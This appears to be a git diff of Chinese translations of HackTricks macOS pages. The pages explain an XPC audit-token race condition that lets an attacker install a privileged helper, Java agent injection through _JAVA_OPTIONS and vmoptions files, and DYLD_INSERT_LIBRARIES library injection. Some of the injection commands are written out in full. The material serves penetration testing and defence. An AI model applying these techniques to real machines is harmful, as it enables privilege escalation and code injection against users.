* 当服务 **B 回复**时,它**发送消息给服务 A**,**同时** **利用** 发送不同的**消息给服务 A**,试图**达到特权功能**,并期望服务 B 的回复将在完美时刻覆盖审计令牌(竞态条件)。
|
||||||
|
|
||||||
## 变体1:在事件处理程序外部调用xpc\_connection\_get\_audit\_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
## 变体 1:在事件处理程序外部调用 xpc\_connection\_get\_audit\_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||||
|
|
||||||
场景:
|
场景:
|
||||||
|
|
||||||
* 两个mach**服务**_**A**_**和**_**B**_**,我们都可以连接**(基于沙箱配置文件和接受连接前的授权检查)。
|
* 两个 mach **服务** _**A**_** 和 **_**B**_** 我们都可以连接**(基于沙箱配置文件和接受连接之前的授权检查)。
|
||||||
* _**A**_必须对特定**操作进行授权检查**,而_**B**_**可以通过**(但我们的应用程序不能)。
|
* _**A**_ 必须对特定**操作进行授权检查,**_**B**_** 可以通过**(但我们的应用程序不能)。
|
||||||
* 例如,如果B具有某些**权限**或以**root**身份运行,它可能允许他要求A执行特权操作。
|
* 例如,如果 B 具有某些**权限**或以 **root** 身份运行,它可能允许他要求 A 执行特权操作。
|
||||||
* 对于此授权检查,_**A**_**异步获取审计令牌**,例如通过从**`dispatch_async`**调用`xpc_connection_get_audit_token`。
|
* 对于此授权检查,_**A**_** 异步获取审计令牌**,例如通过从 **`dispatch_async`** 调用 `xpc_connection_get_audit_token`。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
在这种情况下,攻击者可以触发一个**竞态条件**,制作一个**利用**,要求A执行操作多次,同时让**B向A发送消息**。当RC**成功**时,**B的审计令牌**将在处理我们**利用**的请求时被复制到内存中,使其**获得只有B才能请求的特权操作的访问权限**。
|
在这种情况下,攻击者可以触发一个**竞态条件**,制作一个**利用**,要求 A 多次执行操作,同时让 **B 向 A 发送消息**。当 RC **成功**时,**B** 的**审计令牌**将在我们的**利用**请求被 A **处理**时复制到内存中,使其**获得只有 B 才能请求的特权操作的访问权限**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
这发生在_**A**_作为`smd`和_**B**_作为`diagnosticd`。函数[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)可以用来安装一个新的特权帮助工具(作为**root**)。如果一个**以root身份运行的进程联系** **smd**,不会执行其他检查。
|
这发生在 _**A**_** 作为 `smd`** 和 _**B**_** 作为 `diagnosticd`**。函数 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) 从 smb 可以用来安装一个新的特权帮助工具(作为 **root**)。如果一个**以 root 身份运行的进程联系** **smd**,不会执行其他检查。
|
||||||
|
|
||||||
因此,服务**B**是**`diagnosticd`**,因为它以**root**身份运行,可以用来**监控**进程,所以一旦监控开始,它将**每秒发送多条消息**。
|
因此,服务 **B** 是 **`diagnosticd`**,因为它以 **root** 身份运行,并且可以用来**监控**进程,所以一旦监控开始,它将**每秒发送多条消息**。
|
||||||
|
|
||||||
执行攻击:
|
执行攻击:
|
||||||
|
|
||||||
1. 我们通过遵循正常的XPC协议建立与**`smd`**的**连接**。
|
1. 我们通过遵循正常的 XPC 协议建立与 **`smd`** 的**连接**。
|
||||||
2. 然后,我们建立与**`diagnosticd`**的**连接**,但我们没有生成两个新的mach端口并发送它们,而是用我们与`smd`连接的**发送权限的副本替换了客户端端口发送权限**。
|
2. 然后,我们建立与 **`diagnosticd`** 的**连接**,但我们没有生成两个新的 mach 端口并发送它们,而是用我们对 `smd` 连接的发送权的副本替换了客户端端口发送权。
|
||||||
3. 这意味着我们可以向`diagnosticd`发送XPC消息,但任何**`diagnosticd`发送的消息都会发送给`smd`**。 
|
3. 这意味着我们可以向 `diagnosticd` 发送 XPC 消息,但任何 **`diagnosticd` 发送的消息都会发送给 `smd`**。 
|
||||||
* 对于`smd`来说,我们和`diagnosticd`的消息看起来都是在同一个连接上到达的。
|
* 对于 `smd` 来说,我们和 `diagnosticd` 的消息看起来都是在同一个连接上到达的。
|
||||||
|
|
||||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
4. 我们要求**`diagnosticd`** **开始监控**我们的(或任何活跃的)进程,并且我们**向`smd`发送大量1004消息**(以安装特权工具)。
|
|
||||||
5. 这创建了一个需要在`handle_bless`中击中一个非常特定窗口的竞态条件。我们需要`xpc_connection_get_pid`的调用返回我们自己进程的PID,因为特权帮助工具在我们的应用程序包中。然而,在`connection_is_authorized`函数中的`xpc_connection_get_audit_token`调用必须使用`diagnosticd`的审计令牌。
|
|
||||||
|
|
||||||
## 变体2:回复转发
|
|
||||||
|
|
||||||
如前所述,XPC连接上的事件处理程序从不同时执行多次。然而,**XPC**_**回复**_**消息处理不同**。存在两个发送期望回复的消息的函数:
|
|
||||||
|
|
||||||
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`,在这种情况下,XPC消息在指定的队列上接收和解析。
|
|
||||||
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`,在这种情况下,XPC消息在当前调度队列上接收和解析。
|
|
||||||
|
|
||||||
因此,**XPC回复包可能在执行XPC事件处理程序时被解析**。虽然`_xpc_connection_set_creds`确实使用了锁定,但这只能防止审计令牌的部分覆写,它并没有锁定整个连接对象,使得可能在解析包和执行其事件处理程序之间**替换审计令牌**。
|
|
||||||
|
|
||||||
对于这个场景,我们需要:
|
|
||||||
|
|
||||||
* 如前所述,两个我们都可以连接的mach服务_A_和_B_。
|
|
||||||
* 同样,_A_必须对特定操作进行授权检查,而_B_可以通过(但我们的应用程序不能)。
|
|
||||||
* _A_向我们发送期望回复的消息。
|
|
||||||
* 我们可以向_B_发送消息,它会回复。
|
|
||||||
|
|
||||||
我们等待_A_向我们发送期望回复的消息(1),而不是回复,我们取回复端口并用它发送消息给_B_(2)。然后,我们发送一个使用禁止操作的消息,并希望它与_B_的回复同时到达(3)。
|
|
||||||
|
|
||||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
4. 我们要求 **`diagnosticd`** **开始监控** 我们的(或任何活动的)进程,并且我们**向 `smd` 发送 1004 消息**(以安装特权工具)。
|
||||||
|
5. 这创建了一个需要在 `handle_bless` 中击中一个非常特定窗口的竞态条件。我们需要 `xpc_connection_get_pid` 的调用返回我们自己进程的 PID,因为特权帮助工具在我们的应用程序包中。然而,在 `connection_is_authorized` 函数内部的 `xpc_connection_get_audit_token` 调用必须使用 `diganosticd` 的审计令牌。
|
||||||
|
|
||||||
|
## 变体 2:回复转发
|
||||||
|
|
||||||
|
如前所述,XPC 连接上的事件处理程序从不同时执行多次。然而,**XPC **_**回复**_** 消息处理方式不同**。存在两个发送期望回复的消息的函数:
|
||||||
|
|
||||||
|
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`,在这种情况下,XPC 消息在指定的队列上接收和解析。
|
||||||
|
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`,在这种情况下,XPC 消息在当前调度队列上接收和解析。
|
||||||
|
|
||||||
|
因此,**XPC 回复包可能在执行 XPC 事件处理程序时被解析**。虽然 `_xpc_connection_set_creds` 使用锁定,这只能防止审计令牌的部分覆写,它并没有锁定整个连接对象,使得可能在解析包和执行其事件处理程序之间**替换审计令牌**。
|
||||||
|
|
||||||
|
对于这个场景,我们需要:
|
||||||
|
|
||||||
|
* 如前所述,两个我们都可以连接的 mach 服务 _A_ 和 _B_。
|
||||||
|
* 同样,_A_ 必须对特定操作进行授权检查,_B_ 可以通过(但我们的应用程序不能)。
|
||||||
|
* _A_ 发送给我们期望回复的消息。
|
||||||
|
* 我们可以向 _B_ 发送消息,它会回复。
|
||||||
|
|
||||||
|
我们等待 _A_ 发送给我们期望回复的消息(1),我们没有回复,而是取回复端口用于我们发送给 _B_ 的消息(2)。然后,我们发送一个使用禁止操作的消息,我们希望它与 _B_ 的回复同时到达(3)。
|
||||||
|
|
||||||
|
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## 发现问题
|
## 发现问题
|
||||||
|
|
||||||
我们花了很长时间试图找到其他实例,但条件使得静态或动态搜索都很困难。为了搜索异步调用`xpc_connection_get_audit_token`,我们使用Frida挂钩这个函数,检查回溯是否包括`_xpc_connection_mach_event`(这意味着它不是从事件处理程序中调用的)。但这只能找到我们当前挂钩的进程中的调用,以及主动使用的操作。在IDA/Ghidra中分析所有可达的mach服务非常耗时,特别是当调用涉及到dyld共享缓存时。我们尝试编写脚本来寻找从使用`dispatch_async`提交的块中可达的`xpc_connection_get_audit_token`调用,但解析块和调用传递到dyld共享缓存也很困难。在此花费了一段时间后,我们决定最好提交我们所拥有的。
|
我们花了很长时间试图找到其他实例,但条件使得它难以静态或动态搜索。为了搜索对 `xpc_connection_get_audit_token` 的异步调用,我们使用 Frida 挂钩这个函数来检查是否包含 `_xpc_connection_mach_event`(这意味着它不是从事件处理程序中调用的)。但这只能找到我们当前挂钩的进程中的调用以及主动使用的操作。在 IDA/Ghidra 中分析所有可达的 mach 服务非常耗时,特别是当调用涉及到 dyld 共享缓存时。我们尝试编写脚本来查找从使用 `dispatch_async` 提交的块中可达的 `xpc_connection_get_audit_token` 的调用,但解析块和调用传递到 dyld 共享缓存也很困难。在此花费了一段时间后,我们决定最好提交我们所拥有的。
|
||||||
|
|
||||||
## 修复 <a href="#the-fix" id="the-fix"></a>
|
## 修复方法 <a href="#the-fix" id="the-fix"></a>
|
||||||
|
|
||||||
最终,我们报告了一般问题和`smd`中的具体问题。苹果只在`smd`中修复了它,将`xpc_connection_get_audit_token`的调用替换为`xpc_dictionary_get_audit_token`。
|
最终,我们报告了一般问题和 `smd` 中的特定问题。苹果只在 `smd` 中修复了它,通过用 `xpc_dictionary_get_audit_token` 替换对 `xpc_connection_get_audit_token` 的调用。
|
||||||
|
|
||||||
函数`xpc_dictionary_get_audit_token`从接收此XPC消息的mach消息中复制审计令牌,这意味着它不容易受到攻击。然而,就像`xpc_dictionary_get_audit_token`一样,这不是公共API的一部分。对于更高级别的`NSXPCConnection` API,不存在获取当前消息的审计令牌的明确方法,因为这将所有消息抽象为方法调用。
|
函数 `xpc_dictionary_get_audit_token` 从接收此 XPC 消息的 mach 消息中复制审计令牌,这意味着它不容易受到攻击。然而,就像 `xpc_dictionary_get_audit_token` 一样,这不是公共 API 的一部分。对于更高级别的 `NSXPCConnection` API,不存在清晰的方法来获取当前消息的审计令牌,因为这将所有消息抽象为方法调用。
|
||||||
|
|
||||||
我们不清楚为什么苹果没有应用更通用的修复,例如丢弃与连接保存的审计令牌不匹配的消息。可能存在进程的审计令牌合法更改但连接应保持打开的情况(例如,调用`setuid`会更改UID字段),但像不同的PID或PID版本这样的更改不太可能是预期的。
|
我们不清楚为什么苹果没有应用更通用的修复方法,例如丢弃不匹配连接保存的审计令牌的消息。可能存在进程的审计令牌合法更改但连接应保持打开的情况(例如,调用 `setuid` 更改了 UID 字段),但像不同的 PID 或 PID 版本的更改不太可能是有意的。
|
||||||
|
|
||||||
无论如何,这个问题仍然存在于iOS 17和macOS 14中,所以如果你想去寻找它,祝你好运!
|
无论如何,这个问题仍然存在于 iOS 17 和 macOS 14 中,所以如果你想去寻找它,祝你好运!
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 如果你在**网络安全公司**工作,想在**HackTricks**上看到你的**公司广告**,或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)。
|
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop
|
||||||
|
|
|
@ -2,19 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
|
||||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**推特**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 枚举
|
## 枚举
|
||||||
|
|
||||||
找到系统中安装的Java应用程序。注意到在 **Info.plist** 中的Java应用程序会包含一些包含字符串 **`java.`** 的Java参数,因此您可以搜索这个:
|
找到系统中安装的 Java 应用程序。注意到 **Info.plist** 中的 Java 应用程序会包含一些包含字符串 **`java.`** 的 Java 参数,因此您可以搜索这个:
|
||||||
```bash
|
```bash
|
||||||
# Search only in /Applications folder
|
# Search only in /Applications folder
|
||||||
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||||
|
@ -93,7 +95,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
使用与应用程序**不同的Java版本**创建代理可能会导致代理和应用程序的执行崩溃
|
如果代理与应用程序的 **Java版本不同**,可能会导致代理和应用程序都崩溃。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
代理可以是:
|
代理可以是:
|
||||||
|
@ -129,7 +131,9 @@ Agent-Class: Agent
|
||||||
Can-Redefine-Classes: true
|
Can-Redefine-Classes: true
|
||||||
Can-Retransform-Classes: true
|
Can-Retransform-Classes: true
|
||||||
```
|
```
|
||||||
|
```markdown
|
||||||
然后导出环境变量并运行Java应用程序,如下所示:
|
然后导出环境变量并运行Java应用程序,如下所示:
|
||||||
|
```
|
||||||
```bash
|
```bash
|
||||||
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||||
|
@ -141,7 +145,7 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
|
||||||
## vmoptions 文件
|
## vmoptions 文件
|
||||||
|
|
||||||
此文件支持在执行 Java 时指定**Java 参数**。您可以使用一些之前的技巧来更改 java 参数并**使进程执行任意命令**。\
|
此文件支持在执行 Java 时指定**Java 参数**。您可以使用一些之前的技巧来更改 java 参数并**使进程执行任意命令**。\
|
||||||
此外,这个文件还可以使用 `include` 指令**包含其他文件**,因此您也可以更改被包含的文件。
|
此外,此文件还可以使用 `include` 指令**包含其他文件**,因此您也可以更改被包含的文件。
|
||||||
|
|
||||||
甚至更多的是,一些 Java 应用程序会**加载多个 `vmoptions`** 文件。
|
甚至更多的是,一些 Java 应用程序会**加载多个 `vmoptions`** 文件。
|
||||||
|
|
||||||
|
@ -168,12 +172,14 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家 **网络安全公司** 工作吗?你想在 **HackTricks** 中看到你的 **公司广告** 吗?或者你想要访问 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
其他支持 HackTricks 的方式:
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。
|
|
||||||
|
* 如果您想在 **HackTricks 中看到您的公司广告** 或者 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,90 +1,93 @@
|
||||||
# macOS库注入
|
# macOS 库注入
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><strong>从零到英雄学习 AWS 黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
**dyld的代码是开源的**,可以在[https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/)找到,并且可以使用类似[https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)的URL下载tar文件。
|
**dyld 的代码是开源的**,可以在 [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) 找到,并且可以使用类似 [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) 的**URL**下载 tar 包。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **DYLD\_INSERT\_LIBRARIES**
|
## **DYLD\_INSERT\_LIBRARIES**
|
||||||
|
|
||||||
> 这是一个以冒号分隔的**动态库列表**,在指定程序之前加载。这使您可以通过加载一个临时的动态共享库,其中只包含新模块,来测试用于平面命名空间映像中使用的现有动态共享库的新模块。请注意,这对于使用动态共享库构建的二级命名空间映像没有任何影响,除非还使用了DYLD\_FORCE\_FLAT\_NAMESPACE。
|
> 这是一个以冒号分隔的**动态库列表**,要在**程序指定的库之前加载**。这允许您通过加载一个只包含新模块的临时动态共享库来测试现有动态共享库中使用的新模块。请注意,这对使用动态共享库构建的两级命名空间图像没有影响,除非也使用了 DYLD\_FORCE\_FLAT\_NAMESPACE。
|
||||||
|
|
||||||
这类似于Linux上的[**LD\_PRELOAD**](../../../../linux-hardening/privilege-escalation#ld\_preload)。
|
这类似于 [**Linux 上的 LD\_PRELOAD**](../../../../linux-hardening/privilege-escalation#ld\_preload)。
|
||||||
|
|
||||||
这种技术也可以作为ASEP技术使用,因为每个安装的应用程序都有一个名为"Info.plist"的plist文件,允许使用名为`LSEnvironmental`的键来分配环境变量。
|
这种技术也可以**用作 ASEP 技术**,因为每个安装的应用程序都有一个名为 "Info.plist" 的 plist,允许使用名为 `LSEnvironmental` 的键**分配环境变量**。
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
自2012年以来,**Apple已大大降低了`DYLD_INSERT_LIBRARIES`的权限**。
|
自 2012 年以来,**Apple 大幅减少了** **`DYLD_INSERT_LIBRARIES`** 的功能。
|
||||||
|
|
||||||
转到代码并检查`src/dyld.cpp`。在函数`pruneEnvironmentVariables`中,您可以看到`DYLD_*`变量被删除。
|
转到代码并**检查 `src/dyld.cpp`**。在函数 **`pruneEnvironmentVariables`** 中,您可以看到 **`DYLD_*`** 变量被移除。
|
||||||
|
|
||||||
在函数`processRestricted`中,设置了限制的原因。检查该代码,您可以看到原因是:
|
在函数 **`processRestricted`** 中设置了限制的原因。检查该代码,您可以看到原因是:
|
||||||
|
|
||||||
* 二进制文件是`setuid/setgid`
|
* 二进制文件是 `setuid/setgid`
|
||||||
* 在macho二进制文件中存在`__RESTRICT/__restrict`部分。
|
* macho 二进制文件中存在 `__RESTRICT/__restrict` 部分。
|
||||||
* 软件具有没有[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)权限的授权(强化运行时)
|
* 软件具有权利(加固的运行时)而没有 [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) 权利
|
||||||
* 使用以下命令检查二进制文件的授权:`codesign -dv --entitlements :- </path/to/bin>`
|
* 使用以下命令检查二进制文件的**权利**:`codesign -dv --entitlements :- </path/to/bin>`
|
||||||
|
|
||||||
在更新的版本中,您可以在函数`configureProcessRestrictions`的第二部分找到此逻辑。但是,在较新的版本中执行的是函数的**开始检查**(您可以删除与iOS或模拟相关的if语句,因为这些在macOS中不会使用)。
|
在更新的版本中,您可以在函数 **`configureProcessRestrictions`** 的第二部分找到这个逻辑。然而,在较新版本中执行的是函数**开始检查**(您可以删除与 iOS 或模拟相关的 if,因为这些在 macOS 中不会使用。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 库验证
|
### 库验证
|
||||||
|
|
||||||
